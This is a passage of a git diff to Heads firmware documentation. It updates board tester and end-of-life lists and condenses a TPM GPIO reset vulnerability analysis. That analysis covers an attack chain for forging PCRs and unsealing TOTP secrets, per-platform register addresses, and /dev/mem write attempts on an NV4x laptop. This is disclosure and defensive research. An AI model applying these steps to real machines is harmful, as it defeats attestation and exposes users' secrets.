recent updates. + +**Formerly supported** (`unmaintained_boards/*/`; reference only): + +| Board | Gen | Code Name | ESU Date | Last Microcode | +|---|---|---|---|---| +| KGPE-D16 | AMD Family 15h | Bulldozer | No AMD ESU | 2018-05 (dropped in coreboot 4.12) | + +KGPE-D16 is the last fully blob-free **x86** platform (Talos II is the last +fully blob-free platform overall, on POWER9). AMD ceased Family 15h microcode +in 2018; removed from upstream coreboot in 4.12 (2019). The Dasharo fork was +abandoned August 2025. An independent community port (15h.org, October 2025) +exists but is not part of upstream coreboot. + +### Mitigation + +Spectre Variant 2 (CVE-2017-5715) and related speculative execution +vulnerabilities are unpatched on any board past its ESU date. Retpoline and +similar software mitigations have limited effectiveness without microcode +updates. On EOL platforms, run a single trusted workflow per boot session +and reboot before switching tasks. + +See the [Heads threat model](https://osresearch.net/Heads-threat-model/#mitigation-on-eol-platforms) +for detailed guidance including Tails OPSEC, QubesOS memory management, and +QSB-107 exposure rates. + +## TPM GPIO Reset Vulnerability + +*For a detailed analysis including per-platform feasibility, attack steps, +and upstream tracking, see [TPM_GPIO_Reset_Vulnerability.md](TPM_GPIO_Reset_Vulnerability.md).* + +Heads relies on coreboot to lock PCH GPIO pad configuration before booting +the OS. On many Intel platforms, coreboot fails to set these lock bits. +If pads are unlocked, post-coreboot code can reprogram the PLTRST# pin to +GPIO mode and assert it, forcing a TPM Reset. + +Attack chain: +1. Attacker asserts PLTRST# via GPIO, resetting the TPM to power-on state + (PCRs cleared to zero; NVRAM preserved). +2. Attacker replays known PCR measurements (boot hashes are deterministic) + to reconstruct the sealed PCR state. +3. Since PCRs match sealed values, `tpm2 unseal` succeeds, extracting the + TOTP/HOTP shared secret. + +The TPM Disk Unlock Key with passphrase is **not affected** -- the +passphrase is required regardless of PCR state. TPMTOTP/HOTP remote +attestation **is affected** -- the shared secret at NVRAM index 0x4d47 +has no passphrase, enabling unseal with forged PCRs. -Heads relies on coreboot for GPIO pad configuration. Many Intel platforms are -affected by a coreboot bug where the PCH GPIO lock bits are not set before -booting the OS, allowing an attacker with code execution to reset the discrete -TPM without a physical reboot and forge PCR measurements. -See [TPM GPIO fail (mkukri.xyz)](https://mkukri.xyz/2024/06/01/tpm-gpio-fail.html) -and [doc/TPM_GPIO_Reset_Vulnerability.md](TPM_GPIO_Reset_Vulnerability.md) for details. - -Impact on Heads: TPM Disk Unlock Key with passphrase is **not affected**. -TPMTOTP/HOTP remote attestation **is affected** (PCRs can be forged). The fix must come from coreboot. Tracked at [coreboot ticket #576](https://ticket.coreboot.org/issues/576) and [coreboot patch series](https://review.coreboot.org/q/topic:%22intel_gpio_lock%22). -| Board group | SoC generation | Coreboot GPIO lock | -|---|---|---| -| xx20 (Sandy Bridge, 2nd Gen) | Dedicated PLTRST pin | Not vulnerable | -| xx30 (Ivy Bridge, 3rd Gen) | Dedicated PLTRST pin | Not vulnerable | -| xx4x / w541 (Haswell, 4th Gen) | Dedicated PLTRST pin | Not vulnerable | -| xx8x / t480 / t480s (Kaby Lake, 8th Gen) | Skylake SoC code (25.09) | Not functional: no pad lock offsets, no Kconfig lock method selected | -| Librem 13v2/15v3 (Skylake, 6th Gen) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | -| Librem 13v4/15v4 (Kaby Lake, 7th Gen) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | -| Librem 14 (Comet Lake, 10th Gen) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | -| Librem 11 (Jasper Lake, Atom) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | -| Librem L1UM v1 (Broadwell, 5th Gen) | Dedicated PLTRST pin | Not vulnerable | -| Librem L1UM v2 (Coffee Lake, 9th Gen) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | -| Librem mini v1 (Whiskey Lake, 8th Gen) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | -| Librem mini v2 (Comet Lake, 10th Gen) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | -| Optiplex 7010/9010 (Ivy Bridge, 3rd Gen) | Dedicated PLTRST pin | Not vulnerable | -| HP Z220 CMT (Ivy Bridge, 3rd Gen) | Dedicated PLTRST pin | Not vulnerable | -| Clevo NS50 / NV4x (Alder Lake, 12th Gen) | Dasharo fork | Inconclusive -- GPIO lock not set, writes verified, but PLTRST# assertion NOT confirmed on this PCH die (PCRs remain non-zero after toggle). Physical scope verification needed. | -| Clevo v540tu/v560tu (Meteor Lake) | Dasharo fork | Not functional: PCR lock Kconfig selected but no board pad locks configured; FSP force-unlocks all pads (PchUnlockGpioPads=1) -- Not vulnerable: GPIO PLTRST# assertion does not apply to LPC/eSPI-connected TPMs on MTL. | -| MSI Z690-A/Z790-P (Alder/Raptor Lake) | Dasharo fork | Not functional: SMM lock disabled, no board pad locks (Dasharo fork) | -| KGPE-D16 (AMD) | Not Intel | Not affected | -| Talos II (Power9) | Not Intel | Not affected | - -Note: Dasharo and Purism coreboot fork statuses reflect confirmed findings from -vendor build tree inspection. See doc/TPM_GPIO_Reset_Vulnerability.md for per-fork -details. +## Board Testers + +Boards under `boards/*` must be tested by listed owners for coreboot/linux +version bumps. This file is the primary board tester registry. +To be added or removed as a tester, comment on [issue #692](https://github.com/linuxboot/heads/issues/692). +For HCL details: `boards/BOARD_NAME/BOARD_NAME.config`. Laptops == -xx20 (Sandy Bridge: Intel 2nd Gen CPU) +xx20 (Sandy Bridge, 2nd Gen -- EOL) === - [ ] t420 (xx20): @notgivenby @alexmaloteaux @akfhasodh @doob85 - [ ] x220 (xx20): @srgrint @Thrilleratplay -xx30 (Ivy Bridge: Intel 3rd Gen CPU) +xx30 (Ivy Bridge, 3rd Gen -- EOL) === - [ ] t430 (xx30): @notgivenby @nestire @Thrilleratplay @alexmaloteaux @lsafd @bwachter(iGPU maximized) @shamen123 @eganonoa(iGPU) @nitrosimon @jans23 @icequbes1 (iGPU) @weyounsix (t430-dgpu) - [ ] w530 (xx30): @eganonoa @zifxify @weyounsix (dGPU: w530-k2000m) @jnscmns (dGPU K1000M) @computer-user123 (w530 / w530 k2000: prefers iGPU) @tlaurion @@ -109,47 +142,53 @@ xx30 (Ivy Bridge: Intel 3rd Gen CPU) - [ ] x230-fhd/edp variant: @n4ru @computer-user123 (nitro caster board) @Tonux599 @househead @pcm720 (eDP 4.0 board and 1440p display) @doob85 - [ ] t530 (xx30): @fhvyhjriur @3hhh (See: https://github.com/linuxboot/heads/issues/1682) -xx4x (Haswell: Intel 4th Gen CPU) +ThinkCentre (Skylake, 6th Gen Desktop -- EOL) +=== +- [ ] M900 Tower: @notgivenby + +xx4x (Haswell, 4th Gen -- EOL) === - [ ] t440p: @MattClifton76 @fhvyhjriur @ThePlexus @srgrint @akunterkontrolle @rbreslow -- [ ] w541 (similar of t440p): @gaspar-ilom @ResendeGHF +- [ ] w541 (similar to t440p): @gaspar-ilom @ResendeGHF -xx8x (Kaby Lake Refresh: Intel 8th Gen Mobile : ESU ended 12/31/2024) +xx8x (Kaby Lake Refresh, 8th Gen Mobile -- EOL) === - [ ] t480: @gaspar-ilom @doritos4mlady @MattClifton76 @notgivenby @akunterkontrolle @nestire (Nitrokey) - [ ] t480s: @thickfont @kjkent @HarleyGodfrey @nestire (Nitrokey) Librem === -- [ ] Librem 13v2 (Sky Lake: Intel 6th Gen CPU): @JonathonHall-Purism -- [ ] Librem 15v3 (Sky Lake: Intel 6th Gen CPU): @JonathonHall-Purism -- [ ] Librem 15v4 (Kaby Lake: Intel 7th Gen CPU): @JonathonHall-Purism -- [ ] Librem 13v4 (Kaby Lake: Intel 7th Gen CPU): @JonathonHall-Purism -- [ ] Librem 14 (Comet Lake: Intel 10th Gen CPU): @JonathonHall-Purism -- [ ] Librem 11 (Jasper Lake: Intel 11th Gen Atom CPU): @JonathonHall-Purism +All EOL unless marked Active. +- [ ] Librem 13v2 (Skylake, 6th Gen): @JonathonHall-Purism +- [ ] Librem 15v3 (Skylake, 6th Gen): @JonathonHall-Purism +- [ ] Librem 15v4 (Kaby Lake, 7th Gen): @JonathonHall-Purism +- [ ] Librem 13v4 (Kaby Lake, 7th Gen): @JonathonHall-Purism +- [ ] Librem 14 (Comet Lake, 10th Gen -- Active): @JonathonHall-Purism +- [ ] Librem 11 (Jasper Lake, Atom -- Active): @JonathonHall-Purism Clevo === -- [ ] Nitropad NS50 (Alder Lake: Intel 12th Gen CPU): @daringer -- [ ] Novacustom NV4x (Alder Lake: Intel 12th Gen CPU): @tlaurion @daringer -- [ ] Novacustom v540tu (Meteor Lake: Intel Core Ultra 7 155H, Core Ultra Series 1 – 14th Gen Mobile): @tlaurion @daringer @mkopec -- [ ] Novacustom v560tu (Meteor Lake: Intel Core Ultra 7 155H, Core Ultra Series 1 – 14th Gen Mobile): @tlaurion @daringer @mkopec - +All Active. +- [ ] Nitropad NS50 (Alder Lake, 12th Gen): @daringer +- [ ] Novacustom NV4x (Alder Lake, 12th Gen): @tlaurion @daringer +- [ ] Novacustom v540tu (Meteor Lake, Core Ultra S1): @tlaurion @daringer @mkopec +- [ ] Novacustom v560tu (Meteor Lake, Core Ultra S1): @tlaurion @daringer @mkopec Desktops / Servers == -- [ ] Optiplex 7010/9010 SFF/DT (Ivy Bridge: Intel 3rd Gen CPU): @tlaurion(owns DT variant) -- [ ] HP Z220 CMT (Ivy Bridge: Intel 3rd Gen CPU): @d-wid -- [ ] KGPE-D16 (Bulldozer: AMD Family 15h CPU) – dropped in coreboot 4.12: @arhabd @Tonux599 @zifxify -- [ ] Librem L1UM v1 (Broadwell: Intel 5th Gen CPU): @JonathonHall-Purism -- [ ] Librem L1UM v2 (Coffee Lake: Intel 9th Gen CPU): @JonathonHall-Purism -- [ ] Librem mini v1 (Whiskey Lake: Intel 8th Gen CPU : ESU ends 03/31/2026): @JonathonHall-Purism -- [ ] Librem mini v2 (Comet Lake: Intel 10th Gen CPU): @JonathonHall-Purism -- [ ] Talos II (Power9, PPC64LE): @tlaurion (became untested, low community interest despite large investment) - -MSI +All EOL unless marked Active. +- [ ] Optiplex 7010/9010 SFF/DT (Ivy Bridge, 3rd Gen): @tlaurion(owns DT variant) +- [ ] HP Z220 CMT (Ivy Bridge, 3rd Gen): @d-wid +- [ ] KGPE-D16 (AMD Family 15h): @arhabd @Tonux599 @zifxify +- [ ] Librem L1UM v1 (Broadwell, 5th Gen): @JonathonHall-Purism +- [ ] Librem L1UM v2 (Coffee Lake, 9th Gen): @JonathonHall-Purism +- [ ] Librem mini v1 (Whiskey Lake, 8th Gen): @JonathonHall-Purism +- [ ] Librem mini v2 (Comet Lake, 10th Gen -- Active): @JonathonHall-Purism +- [ ] Talos II (POWER9, PPC64LE): @tlaurion (became untested, low community interest despite large investment) + +MSI (Alder/Raptor Lake — Active) --- -- [ ] MSI PRO Z690-A (WIFI) (DDR4): **None** - Board is untested. -- [ ] MSI PRO Z690-A (WIFI) (DDR5): **None** - Board is untested. -- [ ] MSI PRO Z790-P (WIFI) (DDR4): **None** - Board is untested. -- [ ] MSI PRO Z790-P (WIFI) (DDR5): @Tonux599 +- [ ] MSI PRO Z690-A (WIFI) (DDR4): **None** - Board is untested. (Active, Alder Lake 12th Gen) +- [ ] MSI PRO Z690-A (WIFI) (DDR5): **None** - Board is untested. (Active, Alder Lake 12th Gen) +- [ ] MSI PRO Z790-P (WIFI) (DDR4): **None** - Board is untested. (Active, Raptor Lake 13th Gen) +- [ ] MSI PRO Z790-P (WIFI) (DDR5): @Tonux599 (Active, Raptor Lake 13th Gen) diff --git a/doc/TPM_GPIO_Reset_Approaches.md b/doc/TPM_GPIO_Reset_Approaches.md index 2a7be24b3..263917952 100644 --- a/doc/TPM_GPIO_Reset_Approaches.md +++ b/doc/TPM_GPIO_Reset_Approaches.md @@ -28,63 +28,34 @@ Condition 3 proved unexpectedly difficult on ADL-P. This document explains why. ### 1.1 Register Addresses Verified Against coreboot 26.06 All register addresses were cross-checked against coreboot 26.06 source code -(`src/soc/intel/` headers and Kconfig files) and the kukrimate/tpm-gpio-fail -reference implementation (`reset/inteltool.c`). Bit field definitions (PADRSTCFG, -mode mask) were verified against the Linux kernel pinctrl-intel.c -(`PADCFG0_RESET_MASK = GENMASK(31,30)`, `PADCFG0_PMODE_MASK = GENMASK(13,10)`, -all GPL-2.0, `drivers/pinctrl/intel/`). - -| Platform | PCI Device IDs | PCR Port | PAD_CFG Base | Lock Offset | Coreboot Source | -|---|---|---|---|---|---| -| **CNP-LP** (KBL-R/WHL/CML) | 0x9d84-0x9d8f | 0x6e (PID_GPIOCOM0) | 0x600 | none | `src/soc/intel/cannonlake/gpio.c` | -| **CML-U** (Comet Lake U 400 Series) | 0x0660-0x0661 | 0x6E | 0x600 | 0x88 | `src/soc/intel/cannonlake/` | -| **SPT/KBP** (SKL/KBL) | 0xa143-0xa154, 0xa2c4-0xa2d2 | 0xaf (PID_GPIOCOM0) | 0x400 | 0x80 | `src/soc/intel/skylake/include/soc/gpio_defs.h` | -| **TGL** (Tiger Lake) | 0xa082-0xa08f, 0xa0a0-0xa0a7 | 0x6e | 0x700 | 0x80 | `src/soc/intel/tigerlake/` | -| **ADL-P** (mobile 12th gen) | 0x5180-0x519f | 0x6e (PID_GPIOCOM0) | 0x700 | 0x80 | `src/soc/intel/alderlake/include/soc/gpio_defs.h` | -| **ADL-S** (desktop 12th gen) | 0x7a80-0x7a8c | 0x6d (PID_GPIOCOM1) | 0x700 | 0x110 | `src/soc/intel/alderlake/include/soc/gpio_defs_pch_s.h` | -| **RPL-S** (desktop 13th/14th gen) | 0x7a0c-0x7a17 | 0x6d (PID_GPIOCOM1) | 0x700 | 0x110 | `src/soc/intel/alderlake/include/soc/gpio_defs_pch_s.h` | -| **MTL** (Meteor Lake) | (from CPUID) | 0xD5 | varies | varies | `src/soc/intel/meteorlake/include/soc/gpio_defs.h` | - -Note: MTL uses a different GPIO community layout. Per Intel doc 834810, MTL port is 0xD5 (not 0x6E like ADL). - -Note: Intel doc 834810 does not cover pre-Tiger Lake platforms. SPT/KBP (Skylake/Kaby Lake) PADCFGLOCK offsets (0xA8 per kukri) have no public Intel verification. - -Note: CML-U (0x066x) and some CML-U steppings in the 0x9d8* range have PADCFGLOCK at 0x88. Not all 0x9d8* devices have lock registers -- verify per-stepping. CNP-LP proper (0x9d84) is confirmed to lack the register. - -Key verification details: - -- **ADL-P (NV4x)**: GPP_B13 = local pad index 13 in GPIO community 0 (PID = 0x6e). - PAD_CFG_BASE = 0x700. Each pad occupies 4 DWORDS (16 bytes). - DW0 address = PCR_BASE + (0x6e << 16) + 0x700 + (13 * 16). - With PCR_BASE = 0xFD000000 (ADL-P mobile): target = 0xFD6E07D0. - -- **ADL-S/RPL-S**: GPP_B13 = local pad index 13 in GPIO community 1 (PID = 0x6d). - Same PAD_CFG_BASE = 0x700, same pad layout. PCR_BASE = 0xE0000000 (desktop). - Target = 0xE06D07D0. - -- **SPT/KBP**: GPP_B13 = global pad 37 (GPP_A0=0..23, GPP_B0=24, GPP_B13=37). - Port 0xaf (PID_GPIOCOM0). PAD_CFG_BASE = 0x400. Each pad = 2 DWORDS - (8 bytes per `skylake/gpio_defs.h` line 12: `GPIO_NUM_PAD_CFG_REGS 2`). - Target = community base + PAD_CFG_BASE + (37 * 8) = 0xFDAF0000 + 0x400 + 0x128 - = 0xFDAF0528 (with PCR_BASE = 0xFD000000, port shift 0xAF). - -- **CNP-LP**: GPP_B13 = local pad 38 (COMM_0, first pad = GPP_A0 = 0 per - `cannonlake/gpio.c`). Port 0x6e (PID_GPIOCOM0). PAD_CFG_BASE = 0x600. - No PADCFGLOCK register exists on CNL-LP (pad_cfg_lock_offset=0). - Target = community base + PAD_CFG_BASE + (38 * 16) = 0xFD6E0000 + 0x600 - + 0x260 = 0xFD6E0860 (with PCR_BASE = 0xFD000000, port shift 0x6E). - - **Note on pad_cfg_lock_offset=0**: Coreboot sets pad_cfg_lock_offset=0 for - CNP-LP communities. This could mean "no lock register exists" OR "lock register - at community base+0." Practical testing shows PADCFGLOCK reads return 0x00000000, - consistent with either interpretation. Intel doc 834810 shows CML-U steppings - have PADCFGLOCK at 0x88, suggesting lock registers were added mid-generation. +and the kukrimate/tpm-gpio-fail reference implementation. Bit field definitions +(PADRSTCFG, mode mask) were verified against the Linux kernel pinctrl-intel.c. + +See `initrd/bin/tpm-gpio-reset-demo.sh` for the authoritative per-platform +register map: + +- Header comments (lines 50-76): port, pad index, PAD_CFG_BASE, lock offset + per platform family (CNP-LP, SPT/KBP, ADL-P, ADL-S, RPL-S, MTL). +- `detect_platform()` case statement (lines 260-368): PCI device ID to + platform parameter mapping. +- `calculate_registers()` (lines 533-620): full address computation from + PCR_BASE, community port, pad index, and PAD_CFG_BASE, including the + per-pad register layout (2 vs 4 DWORDS per pad) for each generation. + +Note: Intel doc 834810 does not cover pre-Tiger Lake platforms. SPT/KBP +(Skylake/Kaby Lake) PADCFGLOCK offsets (0xA8 per kukri) have no public +Intel verification. + +Note: CML-U (0x066x) and some CML-U steppings in the 0x9d8* range have +PADCFGLOCK at 0x88. Not all 0x9d8* devices have lock registers -- verify +per-stepping. CNP-LP proper (0x9d84) is confirmed to lack the register. ### 1.2 Platform Detection via PCI Device ID Platform detection uses the ISA/LPC bridge (class 0x0601, device 00:1f.0 on Intel). -PCI device IDs map to PCH families as shown in the table above. This is reliable -across all Linux kernels and does not depend on DMI data or board config. +PCI device IDs map to PCH families as documented in the script's `detect_platform()` +function. This is reliable across all Linux kernels and does not depend on DMI data +or board config. **Definitive results from NV4x ADL-P testing (debug mode, 2026-07-22):** @@ -130,52 +101,32 @@ is needed. PADCFGLOCK and PADCFGLOCKTX registers are read/writable via `/dev/mem` on ADL-P when `CONFIG_STRICT_DEVMEM=n` (Heads default). -- **ADL-P**: PADCFGLOCK at community base + 0x80 = 0xFD6E0080. - PADCFGLOCKTX at community base + 0x84 = 0xFD6E0084. - Values read on NV4x: 0x00010203 (PADCFGLOCK), 0x00000000 (PADCFGLOCKTX). - Bit 13 (GPP_B13) is NOT set in either register -- pad is NOT locked. +See `initrd/bin/tpm-gpio-reset-demo.sh` for per-platform lock register +addresses: the `_get_lock_base()` helper function (lines 853-866) maps each +PCH family to its PADCFGLOCK offset, and `check_lock_registers()` (lines +1062-1099) performs the read/check at runtime. -- **ADL-S/RPL-S**: PADCFGLOCK at community base + 0x110. - PADCFGLOCKTX at + 0x114. - -- **SPT/KBP, CNP-LP**: PADCFGLOCK at community base + 0x80. +NV4x ADL-P readings: PADCFGLOCK=0x00010203 (bits 0,8,17 set; GPP_B13 bit 13 +NOT set), PADCFGLOCKTX=0x00000000. Pad is NOT locked. ### 1.4 GPIO Lock Status per Dasharo/Purism Forks -Verified from build trees of Dasharo forks used by NovaCustom: - -**Dasharo fork (NV4x/NS50/Z790-P)**: -- `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI` is SELECTED in Kconfig. -- `SOC_INTEL_COMMON_BLOCK_SMM_LOCK_GPIO_PADS` is DISABLED (config.h shows `=0`). -- No `soc_gpio_lock_config()` override exists in any board file. -- No board GPIO tables use `_LOCK` macros or set `lock_action` fields. -- `pad_cfg_lock_offset` is populated in 5 of 6 GPIO community structs - (some have 0/0 entries where cores share a community, but the communities - that contain GPP_B pins have valid lock offsets). - -Conclusion: GPIO locking in the non-SMM path (`gpio_non_smm_lock_pad()`) is -technically compiled in (SBI method selected), but is never called because no -board GPIO table entries use `PAD_CFG_LOCK` attributes. The pad is NOT locked. - -**Important caveat:** All Dasharo fork GPIO lock analysis in this document is -based on build tree inspection (Kconfig, source code, FSP UPDs). No Dasharo -firmware image with PADCFGLOCK actually set has been tested on hardware. The -claim that "adding PAD_CFG_NF_LOCK to board GPIO tables would lock GPP_B13" is -theoretical. - -**Star Labs PchUnlockGpioPads fix (commit 06f3c07):** Sean Rhodes (Star Labs) -identified and fixed the inverted PchUnlockGpioPads logic on Alder Lake -- the -original code had `PchUnlockGpioPads = lockdown_by_fsp` (setting the UPD to 0 -when coreboot should manage lockdown, which is the correct semantic, but the -variable name implies the opposite of what it does). The standalone fix exists at -commit 06f3c07 and is also part of the larger coreboot patch series 93422 (split -FSP lockdown, updated July 22 2026). Currently awaiting Intel maintainer review. - -**Purism fork (Librem 14, etc.)**: -- Uses Tiger Lake SoC (`SOC_INTEL_TGL`). -- `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_*` NOT selected (CML/TGL lack Kconfig). -- No `pad_cfg_lock_offset` in GPIO community structs. -- Pad is NOT locked. +See `doc/TPM_GPIO_Reset_Vulnerability.md` section "coreboot GPIO Lock Status +by Platform Generation" for per-platform Kconfig selection, code paths, and +non-functional lock status analysis. Key findings specific to NV4x: + +- Dasharo fork (NV4x/NS50/Z790-P): SBI lock method compiled but never called + because no board GPIO table entries use `PAD_CFG_LOCK`. Pad is NOT locked. +- Purism fork (Librem 14, Tiger Lake): No GPIO lock Kconfig selected, no + `pad_cfg_lock_offset`. Pad is NOT locked. + +**Important caveat:** All Dasharo fork GPIO lock analysis is based on build +tree inspection (Kconfig, source code, FSP UPDs). No Dasharo firmware image +with PADCFGLOCK actually set has been tested on hardware. The claim that +"adding PAD_CFG_NF_LOCK to board GPIO tables would lock GPP_B13" is theoretical. + +The Star Labs PchUnlockGpioPads fix (commit 06f3c07, patch 93422) is described +in `doc/TPM_GPIO_Reset_Vulnerability.md` (see "Upstream Tracking"). --- @@ -183,167 +134,72 @@ FSP lockdown, updated July 22 2026). Currently awaiting Intel maintainer review. ### Approach 1: GPIO Pad Reprogramming (Native -> GPIO Output -> Toggle -> Restore) -**What we did:** -1. Read DW0 + DW1 of GPP_B13 pad config registers via `/dev/mem`. -2. Saved original values. -3. Wrote 0x80000000 to DW0 (sets mode bits to GPIO output and bit 31 to assert). -4. Wrote 0x00000000 to DW1. -5. Waited 1 second with PLTRST# asserted. -6. Restored original DW0 and DW1 (deasserts PLTRST#). -7. Read PCR 2 to check if it cleared. +**What we did:** Read DW0/DW1 of GPP_B13 via `/dev/mem`, save originals, write +0x80000000 to DW0 (GPIO output + bit 31), write 0 to DW1, wait 1s, restore +originals. See `assert_pltrst()` in `initrd/bin/tpm-gpio-reset-demo.sh` for +the exact implementation. **Result on NV4x (ADL-P):** -- DW0 write verified by readback (LE bytes "00000080" returned, correct for 0x80000000). -- Pad successfully transitioned to GPIO mode (confirmed by mode bits in readback). +- DW0 write verified by readback (LE bytes "00000080" returned). +- Pad transitioned to GPIO mode (confirmed by mode bits in readback). - PCR 2 did NOT clear -- remained non-zero after the toggle. - `/sys/class/tpm/tpm0/pcrs` NOT FOUND -- kernel TPM driver detected no bus reset. -**Why it failed:** -The write to PAD_CFG DW0 changes the pad mode, and we can verify the register -value changed. However, driving GPP_B13 as a GPIO output on ADL-P does NOT -assert the PLTRST# signal to the TPM. The pad may not be electrically connected -to the TPM reset line on this PCH die. Hardware testing (NV4x ADL-P) showed -PCR 2 remained non-zero and /sys/class/tpm/tpm0/pcrs was not found after GPIO -assertion -- the kernel TPM driver detected no bus reset. - -The kukrimate reference implementation (`inteltool.c`) does NOT include ADL-P -device IDs. Its `reset` directory targets CNP-LP (ThinkPad T480s) where the -mechanism is believed to work. ADL-P was not tested by the original researcher. +**Why it failed:** Changing DW0 mode bits does not drive PLTRST# on the +electrical pin on ADL-P. The pad may not be routed to the TPM reset line on +this PCH die. The kukrimate reference implementation (`inteltool.c`) does NOT +include ADL-P device IDs and was not tested by the original researcher. ### Approach 2: Kukrimate-Style Direct Register Write (0x80000000 to DW0) -**What we did:** -Essentially the same as Approach 1 but following kukrimate's inteltool.c more -precisely: -1. Save DW0 and DW1. -2. Write 0x80000000 to DW0 (PADRSTCFG bits[31:30]=10b = PLTRST reset domain, - mode bits[13:10]=0000b = GPIO mode, TX bit[0]=0 = drive low). -3. Wait. -4. Write 0x00000000 to DW1. -5. Wait. -6. Restore both. - -**Result on NV4x:** -Identical to Approach 1. Write verified, PCR 2 still non-zero. - -**Why it failed:** -Same root cause as Approach 1. The PADRSTCFG field (bits[31:30] of DW0) selects -the pad's reset trigger source per the Linux kernel pinctrl-intel.c -(PADCFG0_RESET_MASK = GENMASK(31,30)); it does NOT trigger a reset on the -signal connected to the pad. Setting PADRSTCFG=PLTRST (10b) makes the pad -reset when the PLTRST# bus is asserted -- it does not assert PLTRST# itself. -On ADL-P GPP_B13, changing DW0 to 0x80000000 does not assert PLTRST# (PCRs -not cleared). - -Note: PAD_CFG_DW0 PADRSTCFG field is bits[31:30] (not bit 31 alone) -- -values 00=PWROK, 01=DEEP, 10=PLTRST, 11=RSMRST (per Linux kernel -pinctrl-intel.c PADCFG0_GPIORXSTATE and DW0 field definitions). -Setting DW0 = 0x80000000 sets bits[31:30]=10b (PLTRST reset domain) plus -bits[13:10]=0000b (GPIO mode) plus bit[0]=0 (TX low). This configures the -pad to use PLTRST as its reset source -- it does NOT assert PLTRST# on the -output. Misunderstanding this bit field was an early error. - -Note: PADRSTCFG field positions are documented for SPT/KBP (2-DWORD pad layout). ADL-P uses 4 DWORDS per pad; the reset configuration register may be at a different offset. Intel doc 834810 covers ADL-P register layout but may not document this field explicitly. +**What we did:** Same as Approach 1 but following kukrimate's inteltool.c precisely +(save DW0/DW1, write 0x80000000, wait, write 0 to DW1, restore). + +**Result on NV4x:** Identical to Approach 1 -- write verified, PCR 2 still non-zero. + +**Why it failed:** The PADRSTCFG field (DW0 bits[31:30]) selects the pad's own reset +trigger source per Linux pinctrl-intel.c (`PADCFG0_RESET_MASK = GENMASK(31,30)`); +it does NOT assert PLTRST# on the output signal. 0x80000000 sets PADRSTCFG=PLTRST +as the pad's reset source, GPIO mode, and TX=0 -- the pad will reset when PLTRST# +is asserted by the PCH, but the pad does not drive PLTRST#. ADL-P uses 4-DWORD +pads; Intel doc 834810 may document this field at a different offset for ADL-P +than for SPT/KBP (2-DWORD) layouts. ### Approach 3: Dynamic SBREG_BAR Reading via P2SB PCI Config Space -**What we did:** -Attempted to read SBREG_BAR dynamically from the P2SB (Primary to Sideband) -bridge at PCI device 00:1f.1: -1. Read SBREG_BAR register at P2SB PCI config offset 0x10 (BAR0). -2. Unhide P2SB by writing 0 to the hidden bit (bit 0 of BCTRL at offset 0xe0). -3. Read BAR0 after unhiding. -4. Use the BAR value to calculate PCR base for GPIO community access. - -**Result on NV4x:** -- PCI config reads of P2SB at 00:1f.1 returned 0xffffffff for BAR0 - (indicating the device is hidden or config space is blocked). -- Writing to unhide P2SB (offset 0xe0, clear bit 0) had no effect -- writes - silently ignored. -- MMCFG base (0xE0000000) approach also failed -- config space reads returned - 0xffffffff for P2SB registers. -- Shell arithmetic overflowed on 64-bit register values (BusyBox `sh` uses - 32-bit integer arithmetic). - -**Why it failed:** -P2SB is hidden by FSP-S (Firmware Support Package -- Silicon initialization) -early in the boot process. The FSP sets the HIDE bit (bit 0 of P2SB PCI -config offset 0xe0) during POST, and on ADL-P this bit is locked via -MASKLOCK (bit 8 of the same register) -- meaning even software running at -ring 0 cannot unhide the P2SB. - -The MMCFG approach is also unreliable because the kernel's PCI config space -access (via MMCONFIG or legacy I/O) only exposes devices enumerated by the -PCI bus driver. Hidden devices are not in the bus topology and cannot be -reached through standard PCI configuration mechanisms. - -Hardcoded PCR_BASE values remain the most reliable approach: -- ADL-P mobile: 0xFD000000 -- ADL-S/RPL-S desktop: 0xE0000000 -- SPT/KBP, CNP-LP: 0xFD000000 +**What we did:** Attempted to read SBREG_BAR from P2SB (00:1f.1) by unhiding it +and reading BAR0. -### Approach 4: chipsec Analysis of PCR Access Mechanism +**Result on NV4x:** P2SB is hidden by FSP-S and MASKLOCK'd (bit 8 of BCTRL) -- +writes to unhide are silently ignored. PCI config returns 0xffffffff. -**What we did:** -Analyzed chipsec source code (`source/tool/chipsec/helper/linux/linuxhelper.py` -and GPIO helper modules) to understand its PCR register access path: -1. chipsec uses hardcoded SBREG_BAR = 0xFD000000 (same as our hardcoded value). -2. chipsec mmaps `/dev/mem` at the SBREG offset, same as our `dd` approach. -3. chipsec provides a decision tree via `tpm_gpio_fail` module for evaluating - vulnerability. - -**Key findings from chipsec analysis:** - -**Write Verification:** -chipsec's `tpm_gpio_fail` module reads DW0 after writing and checks for the -"correct" mode change. The same LE byte check we use ("00000080" after writing -0x80000000) is how chipsec confirms the write took effect. chipsec would confirm -"write succeeded" on our NV4x test -- exactly what we observed. - -**chipsec Solution 4 -- TX State Toggle:** -chipsec's solution 4 (toggle TX state) only works if the pad is already in -GPIO output mode. It drives the GPIO output value HIGH then LOW to simulate -a PLTRST# pulse. Our pad IS in GPIO mode after our write (we successfully -transitionsed it), but toggling TX state still doesn.t assert PLTRST# on -ADL-P. - -**chipsec Solution 5 -- P2SB SBI Write:** -chipsec also describes an SBI (Sideband Interface) write path that bypasses -the GPIO pad entirely by sending a sideband message to the PCH. This requires: -1. Unhiding the P2SB bridge (needs BUCLEAR bit, likely MASKLOCK'd). -2. Sending an SBI message to the PCH's sideband fabric. -3. Writing the pad config through the sideband interface instead of MMIO. - -This path was not tested because P2SB is MASKLOCK'd on ADL-P (see Approach 3). +**Why it failed:** FSP-S locks the P2SB HIDE bit during POST. Hidden devices are +not in the kernel's PCI bus topology. See Section 3.1 for the SBI alternative. -### Approach 5: PADCFGLOCK / PADCFGLOCKTX Check +Hardcoded PCR_BASE values remain reliable: ADL-P mobile=0xFD000000, +ADL-S/RPL-S desktop=0xE0000000, SPT/KBP/CNP-LP=0xFD000000. -**What we did:** -Read the PADCFGLOCK register at 0xFD6E0080 and PADCFGLOCKTX at 0xFD6E0084 -to verify whether the GPIO pad lock was blocking our writes: +### Approach 4: chipsec Analysis of PCR Access Mechanism -```bash -dd if=/dev/mem bs=4 count=1 skip=$((0xFD6E0080 / 4)) 